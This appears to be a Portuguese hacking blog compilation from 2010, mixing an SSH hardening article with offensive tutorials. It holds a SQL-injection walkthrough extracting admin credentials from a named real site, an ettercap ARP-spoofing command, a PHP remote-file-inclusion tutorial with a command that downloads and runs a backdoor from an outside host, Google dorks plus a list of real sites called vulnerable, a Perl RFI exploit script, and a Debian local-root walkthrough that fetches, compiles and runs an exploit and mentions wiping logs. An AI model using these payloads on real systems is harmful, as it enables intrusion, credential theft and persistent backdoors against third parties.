entao ira aparecer isso os nomes das colunas e o conteudo das tabelas, depois de ter injetado o nome login na url ira aparecer algo parecido com isso:

adm
2

4

Entao já sabemos q o login da area administrativa e adm entao agora vamos revelar a senha fazendo o mesmo processo mais no outra numero q aparecer nesse caso e 2 entao colocamos senha no lugar do 2 ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,4,5+from+adm bingo!! entao já sabemos login e senha, e temos a area administrativa entao agora e so usar um proxy para segurança e logar ai façam oq vcs quiser.

Entao so tem uma obs: caso a area administrativa tenha 3 campos para login como por exemplo: login, senha e chave. Entao coloque no lugar do 4 a nome chave ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,chave,5+from+adm

Mais segurança no SSH

Introdução

Na grande maioria das vezes, os administradores de servidores Linux necessitam de acesso remoto à maquina que atua como servidor, seja para proceder verificações de rotina, seja para realizar atualizações, implementar alguma nova solução ou algo do gênero.

Há muito tempo o SSH substituiu o velho telnet nesta tarefa. Porém, tenho certeza de que não é um nem dois administradores que perdem o sono pensando na porta aberta que a utilização desse serviço acarreta. Por mais seguras que sejam as senhas, por mais restritos que sejam os usuários que tem acesso ao serviço, sempre permanece certa inquietação.

O presente artigo tem a intenção de fornecer algumas dicas sobre este assunto. Trata-se, na verdade, do agrupamento de uma série de dicas encontradas na internet com o auxílio do grande guru (www.google.com.br) e de um recentemente descoberto mestre na arte do firewall, que como não poderia deixar de ser, pertence à nossa comunidade. Trata-se do amigo e colaborador melphos, que gentilmente me permitiu o uso de suas regras firewall na composição deste pequeno artigo. Pois bem, principiemos.

Configurações básicas

Inicialmente é necessário que comentemos a respeito da porta padrão do serviço SSH, a porta 22. O melhor a fazer é alterar, pois trata-se de uma porta muito “manjada”. Todo lammer metido a hacker gosta de usar scripts bruteforce para ficar “batendo” nas portas 22 abertas internet à fora. Quando você altera a porta, eles simplesmente não sabem o que fazer. Você já se livra de uma enxurrada de logs.

Para isso, basta editar o arquivo sshd_config, geralmente contido em /etc/ssh e alterar o seguinte parâmetro:

Port 22

Para:
Port xxx

Onde xxx é o numero da porta que você deseja que o serviço responda.

Muito bem, outro pequeno detalhe diz respeito à seus usuários. Evite que eles tenham um shell válido, o que lhes dá direito a uso de SSH. Retire todos os shells que puder e redirecione todos os usuários possíveis para shells falsos. Para reforçar, permita que apenas um usuário possa acessar o serviço SSH. Edite o arquivo sshd_config novamente e inclua o parâmetro:
AllowUsers nomedousuario

Com relação à senhas, jamais permita senhas em branco em seu serviço SSH. Mais uma vez, dirija-se ao arquivo sshd_config e verifique se o seguinte item encontra-se ativo:
PermitEmptyPasswords no

Agora outra dica importante: não permita que o root utilize serviço SSH, fazendo isso como o parâmetro:
PermitRootLogin no

Muito bem, nosso SSH encontra-se em uma porta despadronizada, não aceita senhas em branco e não aceita logins de root. Agora, outro ponto que pode ser levado em consideração: não permita que o usuário cadastrado no serviço SSH possa tornar-se root por meio do comando “su” inserindo-o no arquivo /etc/suauth, na seguinte sintaxe:
root:nome_usuário_do_ssh:DENY

Dessa forma, um possível atacante terá que descobrir a porta e quebrar 3 senhas para conseguir o acesso root à maquina.

Até aqui, repasso todos os créditos à Ederson L. Corrêa, que publicou artigo no Dicas-L:
• http://www.dicas-l.com.br/dicas-l/20050113.php

Camada extra: utilizando o firewall iptables

Agora entra a participação do amigo melphos, que eu considero a mais importante implementação de segurança para SSH de todo o artigo. Tomemos por acordo que você tenha seu serviço SSH rodando na porta 221. Veja as seguintes regras de iptables:

1) iptables -A INPUT -p tcp -m tcp –dport 221 -m state –state NEW -m recent –rcheck –name SSH –rsource –seconds 60 –hitcount 3 -j ACCEPT

2) iptables -A INPUT -p tcp -m tcp –dport 222 -m state –state NEW -m recent –name SSH –remove -j DROP

3) iptables -A INPUT -p tcp -m tcp –dport 223 -m state –state NEW -m recent –set –name SSH –rsource -j DROP

4) iptables -A INPUT -p tcp -m tcp –dport 224 -m state –state NEW -m recent –name SSH –remove -j DROP

Breves explicações

A primeira regra basicamente diz o seguinte: restrinja o acesso à porta 221 somente aos IPs que tenham registrado 3 tentativas de acesso na lista SSH, contida em /proc/net/ipt_recent/SSH, no tempo máximo de 60 segundos.

A segunda regra diz o seguinte: remova o número de IP do requisitante da porta 222 da lista SSH (/proc/net/ipt_recent/SSH) caso ele lá esteja.

A terceira regra diz o seguinte: adicione o IP do requisitante à lista SSH (/proc/net/ipt_recent/SSH).

A quarta regra tem o mesmo efeito da segunda: remova o número de IP do requisitante da porta 222 da lista SSH (/proc/net/ipt_recent/SSH) caso ele lá esteja.

Resumo da situação: a porta 221, onde roda seu serviço SSH, permite login apenas dos IPs cadastrados na lista chamada SSH que tenham lá registradas 3 tentativas de acesso nos últimos 60 segundos. Portanto, de acordo com as regras, qualquer um que queira acessar o serviço SSH terá que enviar três requisições syn à porta 223, que é a que registra o número de IP no arquivo SSH (/proc/net/ipt_recent/SSH).

Pequeno exemplo e finalização

Agora imagine o seguinte: alguém “batendo” em suas portas de maneira seqüencial, partindo da porta 221:
• A requisição à porta 221 terá como resposta a negação do serviço.
• A requisição à porta 222 terá como resposta a negação do serviço.
• A requisição à porta 223, adicionará o requisitante ao arquivo SSH, liberando para ele, sem que ele o saiba, o acesso à porta 221.
• A requisição à porta 224 retirará o IP do requisitante do arquivo SSH, fechando, dessa forma a porta 221, anteriormente aberta e agora fechada, nos dois casos sem o conhecimento do requisitante.
Como se pode observar, é uma situação muito conveniente no caso de ataques de scannners, que geralmente “batem” nas portas de maneira seqüencial.

Fonte: vivaolinux

sexta-feira, 31 de dezembro de 2010

O que é Shell?

O termo Shell é mais usualmente utilizado para se referir aos programas de sistemas do tipo Unix que podem ser utilizados como meio de interação entre o usuário e o computador. Este é um programa que recebe, interpreta e executa os comandos de usuário, aparecendo na tela como uma linha de comandos, representada por um prompt, que aguarda na tela os comandos do usuário.

A tradução de Shell para português neste caso, pode significar "concha" ou "casca". Na informática o Shell, de maneira genérica, é um programa que intermedeia o contato entre o usuário e o computador. É a interface entre o usuário e o sistema operacional (kernel). Aqui descreveremos o termo mais comum usado cotidianamente, que se refere aos interpretadores de comandos dos sistemas Unix e seus similares.

Existem diversas implementações de Shell, dentre os quais podemos mencionar o csh, tcsh, sh, bash, ksh, zsh e muitos outros. Cada um pode executar comandos gerais do sistema de maneira semelhante, porém possuem estruturas e comandos próprios que os diferenciam. Outra grande diferença entre os diversos tipos de Shell são as facilidades que eles oferecem para o reaproveitamento de comandos e manipulação da linha de comandos.

Todo o usuário em sistemas Unix e similares tem um shell associado a si em seu cadastro. Podemos dizer que o Shell do usuário "fulano" é o csh, por exemplo, se este for o Shell cadastrado para o usuário. Embora o cadastro só permita associar um shell a cada usuário é muito simples passar de um shell para outro, passando a usar outro interpretador de comandos, bastando para isso chamar o outro shell desejado, da mesma maneira que qualquer comando é executado. Se um usuário, por exemplo, está no shell "sh" e executa o comando "csh", passa neste momento a usar o shell "csh" como interpretador de comandos até que saia dele com o comando "exit" ou outro comando para sair do shell.

Existem muitos comandos de shell descritos na internet, uma dica seria reparar antes dos comandos geralmente tem simbolos como: "$" (dollar) ou "#" (tralha) isso indica que o texto a frente deve ser usado num interpretador de comandos (shell). Muitos se confundem na hora de seguir passos postados em fóruns ou em listas de discussão, pois não conhecem esse pequeno detalhe. Exemplo:

  1. $ sudo ettercap -Tq -M arp -i eth2 /192.168.1.2-255/ //
  2. $ sudo ettercap -Tq -M arp

-i eth2 /192.168.1.2-255/ //

Os comandos descritos acima são idênticos e devem ser escritos na mesma linha, até que aparece outro $.

Backdoors

"Backdoors" são programas que instalam um ambiente de serviço em um computador, tornando-o acessível à distância, permitindo o controle remoto da máquina sem que o usuário saiba.

Assim, o computador poderá ser totalmente controlado de longe - por outra pessoa, em outra máquina - possibilitando ao invasor qualquer atitude: ver seus arquivos, ler seus emails, ver todas suas senhas, apagar seus arquivos, dar boot em sua máquina, conectar via rede a outros computadores aos quais você tenha acesso, executar programas em seu computador, tais como jogos, logar todas as teclas digitadas da máquina para um arquivo (comprometendo acessos a sites seguros - cartão de crédito, homebanking etc) e formatar seu disco.

Três famosos programas desse tipo são o Back Oriffice
, Netbus e Netcat

Portanto, os "backdoors" são programas simples e pequenos que tornaram possível que qualquer pessoa, não especializada, possa invadir um computador sem dificuldade.

Os cavalos de tróia batizados como Backdoors (por usar portas para entrar em computadores alheios) são muito comuns na Internet. Normalmente eles utilizam as portas 666, 888, 3333, entre outras, para que seu usuário tenha acesso ao computador da vítima. Os cavalos de tróia do tipo backdoor ainda são divididos por suas funções:

Função de espião: esse tipo de backdoor faz uma troca de informações através da porta que ele abre para seu usuário poder visualizar arquivos da vítima, ver imagens pela webcam (ativando-a sem o conhecimento da vítima), ligar o microfone, abrir e fechar o drive de cd/dvd-rom, blu-ray, entre outros.

É também chamada "backdoor", no poker, a uma draw, que necessita de duas cartas seguidas para ser completa.

São conhecidos como RAT (Remote Administrator Tool).

Medidas gerais de prevenção

Há um conjunto de procedimentos gerais de prevenção contra vírus e outros programas maliciosos que sempre devem ser realizados (em qualquer computador, especialmente nos conectados à Internet).

Essas medidas podem ser resumidas assim:

1. Jamais executar um programa ou abrir um arquivo sem antes executar o antivírus sobre a pasta que o contenha.

2. Atualizar o seu antivírus constantemente (todas as semanas e até diariamente as empresas distribuem cópias gratuitas dos arquivos que atualizam a lista dos novos vírus e vacinas).

3. Desativar a opção de executar documentos diretamente do programa de correio eletrônico.

4. Jamais executar programas que não tenham sido obtidos de fontes absolutamente confiáveis.


quinta-feira, 16 de dezembro de 2010

PHP Injection

Bom, muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.

A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam ‘includes’ para ajudar na criação do seu site sem fazer nenhuma verificação das ’strings’
Um exemplo de um site vulnerável, com 3 partes em uma tabela:

include(‘topo.php’);
include(‘menu.php’);
include($page);

Existem várias strings, a mais comum é page..
Então um endereço ficticio: http://www.alvo.com.br/index.php?page=novidades.php
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para ‘injetar’ páginas maliciosas que executam comandos na maquina que roda o site (por isso o nome PHP Injection)

Estarei usando esse script como referencia (chamado de cmd):

http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h … if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os arquivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..

Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no ‘cmd’ cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h … in;./r0nin

Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br 1666, pronto, você está na maquina, enjoy! :~)

Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:”.pt” (escolhendo a classe do dominio) para procurar páginas somente de um país.

allinurl:”.php?page=”
allinurl:”.php?inc=”
allinurl:”.php?body=”
allinurl:”.php?main=”
allinurl:”.php?pag=”
allinurl:”.php?p=”
allinurl:”.php?content=”
allinurl:”.php?cont=”
allinurl:”.php?c=”
allinurl:”.php?meio=”
allinurl:”.php?x=”
allinurl:”.php?cat=”
allinurl:”.php?site=”
allinurl:”.php?m=”
allinurl:”.php?do=”
allinurl:”.php?x=”
allinurl:”.php?content=”
allinurl:”.php?pagina=”
allinurl:”.php?root=”
allinurl:”.php?include=”
allinurl:”.php?open=”
allinurl:”.php?visualizar=”
allinurl:”.php?conf=”

Achará varios sites, a maioria no padrão:

http://www.interreg3c.net/sixcms/list.php?page=home_en
http://www.ourdocuments.gov/content.php?page=milestone
http://www.safer-networking.org/index.php?page=mirrors
http://www.serviceandinclusion.org/inde … e=nat_conf

Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar :}
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer TUDO com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel :~)

http://www.imobmarques.com.br/pagina.php?pagina=
http://www.effectingchange.luton.ac.uk/ … p?content=
http://www.tourtrans.ru/index.php?page=
http://www.iobchody.unas.cz/index.php?page=
http://www.balustrady.cz/index.php?page=
http://www.kubela.iglu.cz/index.php?inc=
http://www.engelking-elektronik.de/index.php?main=valor
http://www.mob.hu/cgi-bin/index.php?main=valor
http://www.medianlg.hu/index.php?site=
http://www.spillo.it/home.php?main=
http://www.fdf-k22.dk/index.php?main=
http://www.astro.up.pt/investigacao/con … .php?page=
http://www.nyinvestmentproperties.com/index.php?main=
http://www.timetoupgrade.us/index.php?main=
http://www.msgames.msu.ac.th/reading.php?page=
http://www.mobilink.com.tr/index.php?page=
http://www.slh.org.tw/tw/index.php?page=
http://www.climb.idv.tw/index.php?page=
http://www.azsrc.com/index.php?page=

Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, pode continuar procurando.

Desenvolvimento de exploits para RFI

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir arquivos.
Se essa função não for usada com cautela, um usuário mal-intencionado
poderá incluir scripts PHP e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir qualquer página/arquivo passada como page via GET

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
—————————————————————————-

Vamos construir o exploit

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como 'argumentos'.
Se o total de argumentos passados para a execução do script for diferente de '4' então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simple, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web.

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = "&cmd=";
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simple; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq "")
{
goto site;
}
if($site =~ /http:\/\//)
{
print 'Nao coloque http:// !'."\n";
goto site;
}
pagina:
print "Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): ";
$page = ;
if($site eq "")
{
goto pagina;
}
script:
print "Script (Ex.: http://www.host-files.com/script.txt): ";
$script = ;
if($script eq "")
{
goto script;
}
if($script !~ /http:\/\//)
{
goto script;
}
print "Variavel para executar comandos (script)\n";
print 'Ex.: cmd = system($_GET[\'cmd\']): ';
$argv_script = ;
if(!$argv_script)
{
$argv_script = "cmd";
}
$argv_script = '&'.$argv_script.'=';
comando:
print "Comando: ";
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar a vulnerabilidade.Durante o desenvolvimento de um exploit para um software específico, é necessário o uso de expressões regulares e outros.

Pegando acesso ao Root No Debian

Bem, a forma mais simples de pegar acesso ao usuário root
seria usar um XPL(exploit local) se com um exploit você obteve
acesso a um “user” o segundo passo seria pegar o Root pelo menos
na cabeça do cracker…

Vamos pegar um exemplo:
1-usamos o exploit “Censtore. cgi exploit” para explorar um determinado server
http://www.milw0rm.com/exploits/1669

2-exploramos a falha num server vulnerável nos temos acesso a um “user” padrão exemplo
Código:



$ wellcome to debian
adminweb-$ uname -a <–analisando a versão do kernel
host.com.br bla bla 2.6.8 Linux kernel
adminweb-$ find / -perm -2 -ls <–comando para ver arquivos com permissão de escrita
/tmp/
/dev/bla bla ;………………..
adminweb-$ cd /tmp <– inves de procurar arquivos com permissões resolvi ir na pasta “/tmp” ou seja temporários
la temos permissão para usar executar arquivos dar wget depende muito do server em alguns tera que usar ftp ou curl…

3-Aqui a parte mais chata achar o XPL para versão do kernel bem como o kernel achado é antigo vamos usar o h00lyshit,a todo momento sai XPL para sistemas embora alguns sistemas demorem mais para sair como OpenBSD e NetBSD isso vai muito do Programador que faz XPLs geralmente eles fazem par aos sistemas mais populares “Linux e freebsd” . Não é atoa que se você tem um servidor com linux você em que compilar o um novo kernel direto para ver as melhorias e arrumar as vulnerabilidades…

do sistema ,bem continuando..
Código:

Código:

adminweb-$ wget http://www.arblan.com/localroot/h00lyshit.c <–baixar o xpl do site desejado
download bla bla
adminweb-$ gcc h00lyshit.c -o h00lyshit <– compilamos o exploit
bla bla make.. bla bal
/ .. // as/.d./ ././ bla bla
adminweb-$

4-terminado isso temos que executar o XPL , porém, o h00lyshit como muitos XPL precisão de um arquivo grande para bugar e causar um crash no kernel exemplo “./h00lyshit arquivo_grande_do_disco” feito isso se tudo dar certo teremos acesso ao root,mas vamos gerar um arquivo grande no sistema com o comando “dd if=/dev/urandom of=grande count=2M” vai demorar de 2 a 5minutos se o comando falhar tente dd “if=/dev/zero of=/tmp/grande count=102400 bs=1024″ feito isso vamos executar nosso XPL

Código:
adminweb-$./h00lyshit grande
root-# whoami <– verificandose somos root
root
root-#

Pronto, funcionou o XPL estamos como root,um Cracker depois disso dar upload em seus Bots,deixa um OpenSSH ou um Backdoor e queima os Logs do sistema e possíveis ids(snort etc..)

Bem, acho que com este artigo vai ajudar muitos a entender como funciona XPLs.
Quer se sentir seguro? Use OpenBSD no seu servidor Piscar

Créditos: C00L3R

 
Design by Eddy Oliveira